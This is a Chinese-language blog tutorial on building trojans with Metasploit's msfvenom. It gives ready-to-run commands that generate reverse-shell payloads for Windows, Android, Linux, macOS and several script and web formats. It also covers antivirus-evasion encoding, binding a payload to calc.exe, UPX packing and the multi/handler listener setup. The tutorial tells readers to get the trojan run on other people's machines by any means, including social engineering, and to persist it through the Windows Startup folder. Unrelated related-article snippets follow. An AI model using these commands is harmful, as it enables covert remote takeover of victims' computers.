在前一篇文章中我讲了什么是Meterpreter,并且讲解了Meterpreter的用法。传送门——>Metasploit之Meterpreter

今天我要讲的是我们用Msfvenom制作一个木马,发送给其他主机,只要其他主机运行了该木马,就会自动连接到我们的主机,并且建立一条TCP连接。我们可以通过这条TCP连接控制目标主机。

Msfvenom

  • –p (- -payload-options):添加载荷payload。载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT,就可以生成对应语言,对应平台的后门了!!!
  • –l:查看所有payload encoder nops。
  • –f :输出文件格式。
  • –e:编码免杀。
  • –a:选择架构平台  x86 | x64 | x86_64
  • –o:文件输出
  • –s:生成payload的最大长度,就是文件大小。
  • –b:避免使用的字符 例如:不使用 ‘\0f’。
  • –i:编码次数。
  • –c:添加自己的shellcode
  • –x | -k:捆绑

生成exe木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -f exe -o test.exe  #lhost是我们的主机ip,lport是我们主机的用于监听的端口

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -i 3 -e x86/shikata_ga_nai  -f exe -o test.exe  #编码3次

然后会在该目录下生成一个test.exe的木马。

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 20 lhost=192.168.10.11 lport=8888 -x calc.exe -f exe -o test.exe      #编码20次、捆绑正常的32位calc.exe,生成32位的test.exe文件

利用 upx 加壳

upx -9 test.exe -k -o test2.exe

下面介绍一些生成其他格式的木马!

安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f asp > shell.asp
ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.jsp
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.py

接下来,我们运行 msfconsole 进入MSF控制台,然后输入以下命令

msf > use exploit/multi/handler  #使用exploit/multi/handler监听从肉鸡发来的数据
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp #设置payload,不同的木马设置不同的payload
msf exploit(handler) > set lhost 192.168.10.15 #我们的主机ip
msf exploit(handler) > set lport 8888 #我们的主机端口
msf exploit(handler) > exploit

然后,将木马发送给其他人,无论使用什么手段(可以使用社会工程学)让其在其他主机上运行,我们这边就会接收到反弹过来的session。

因为我们刚刚把进程挂在后台,所以我们输入:sessions  -l  可以查看到我们得到的shell,使用 sessions -i  1 可以进入指定的shell,我们这里只有一个,所以id为1。如图,我们成功拿到了其他主机的shell

对于这个木马,如果我们在获取到某主机的shell后,想要在目标主机建立持续性的后门,我们可以将该木马放到目标主机的开机启动项中,那样,只要该主机启动后,我们就可以连接到该主机了。

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

但是,虽然目标主机运行了该木马程序,但是由于种种原因,还是有可能获取不到对方的session。如下图,就没有获取到session。

关于后渗透阶段如何使用Meterpreter,传送门——>后渗透阶段Meterpreter的使用

Msfvenonm生成一个后门木马的更多相关文章

  1. Kali之Metasploit生成apk后门控制安卓

    扫盲教程,大佬勿喷. 实验中请更改为你环境的IP. 生成apk后门 Kali Linux(Hack):192.168.169.76 Android(靶机):192.168.169.137 启动kali ...

  2. 利用kali自带的msfvenom工具生成远程控制软件(木马)

    2.生成一个简单的木马 3. 4. 5. 6.接下来生成的winx64muma.exe实际演示 7.将生成的winx64muma.exe在受害者机器上运行 8.在kali下输入msfconsole 9 ...

  3. 用php生成一个excel文件(原理)

    1.我们用php来生成一个excel文档来讲述其原理: excel2007里面的文档目录组成部分为: 2.我们使用ZipArchive()方法来生成一个简易的excel文件. 使用方法: 3.代码如下 ...

  4. js生成一个不重复的ID的函数的进化之路

    在MongoDB中的ObjectID,可以理解为是一个不会重复的ID,这里有个链接http://blog.csdn.net/xiamizy/article/details/41521025感兴趣可以去 ...

  5. 动态生成一个设定好特殊样式的Tlabel,快速生成代码

    动态生成一个设定好特殊样式的Tlabel,快速生成代码: 1.自己先在可视化界面设定一个Label,像这样: 2.选择label,快捷键ctrl+C 复制,粘贴带代码编辑器去,会生成一段这样的窗体代码 ...

  6. 【代码笔记】iOS-通过颜色来生成一个纯色图片

    一,效果图. 二,代码. RootViewController.m - (void)viewDidLoad { [super viewDidLoad]; // Do any additional se ...

  7. C# 如何生成一个时间戳

    在程序中,常常会用到时间戳,如何生成一个时间戳呢? /// <summary> /// 获取时间戳 /// </summary> /// <returns>< ...

  8. ZeroMQ接口函数之 :zmq_curve_keypair - 生成一个新的CURVE 密钥对

    ZeroMQ 官方地址 :http://api.zeromq.org/4-0:zmq_curve_keypair zmq_curve_keypair(3) ØMQ Manual - ØMQ/4.1.0 ...

  9. Bitmap文件格式+生成一个BMP文件

    Bitmap的文件格式: #define UINT16 unsigned short #define DWORD unsigned int #define WORD short #define LON ...

随机推荐

  1. java 方法详解

    什么是方法 方法的定义和调用 值传递与引用传递 值传递:指的是在方法调用时,传递的是参数是按值的拷贝传递. 特点:传递的是值的拷贝,也就是传递后就互不相关了. 引用传递:指的是在方法调用时,传递的参数 ...

  2. STL中常用容器及操作 学习笔记1

    @[TOC](下面介绍STL中常见的容器及操作)## 不定长数组 vector> vetcor:其实就是一个数组或者说是容器 其操作不同于之前直接定义的数组 > 而且可以直接赋值也可以直接 ...

  3. Java 常见对象 02

    常见对象·String类 Scanner 的概述和方法介绍 * A:Scanner 的概述 * B:Scanner 的构造方法原理 * Scanner(InputStream source) * Sy ...

  4. docker搭建redis集群和Sentinel,实现故障转移

    0.引言 公司开发需要用到redis,虽然有运维自动搭建,还是记录下如何搭建redis集群和Sentinel. 采用的是vagrant虚拟机+docker的方式进行搭建. 搭建思路: 首先是借鉴下其他 ...

  5. Mardown语法

    1.什么是Markdown Mardown是一种文本标记语言,使用它,能让我们更加专注于内容的输出,而不是排版样式. 我们平常使用的.txt文档书写的文字是没有样式的,使用Markdown语法就可以给 ...

  6. CRC校验原理和verilog实现方法(一)

    1.CRC简介 CRC全称循环冗余校验(Cyclic Redundancy Check, CRC),是通信领域数据传输技术中常用的检错方法,用于保证数据传输的可靠性.网上有关这方面的博客和资料很多,本 ...

  7. C#无边框窗体拖动代码

    1.重写 protected override void WndProc(ref Message m) { if (m.Msg == 163 && this.ClientRectang ...

  8. IdentityServer4是什么

    1 什么是IdentityServer4? IdentityServer4是用于ASP.NET Core的OpenID Connect和OAuth 2.0框架. 2 什么是OAuth 2.0? OAu ...

  9. MongoDB数据库的使用

    MongoDB是一个基于分布式 文件存储的NoSQL数据库,适合存储JSON风格文件的形式. 三元素:数据库.集合和文档. 文档:对应着关系数据库中的行,就是一个对象,由键值对构成,是json的扩展B ...

  10. 力扣 - 剑指 Offer 37. 序列化二叉树

    目录 题目 思路 代码 复杂度分析 题目 剑指 Offer 37. 序列化二叉树 思路 序列化其实就是层序遍历 但是,要能反序列化的话,前.中.后.层序遍历是不够的,必须在序列化时候保存所有信息,这样 ...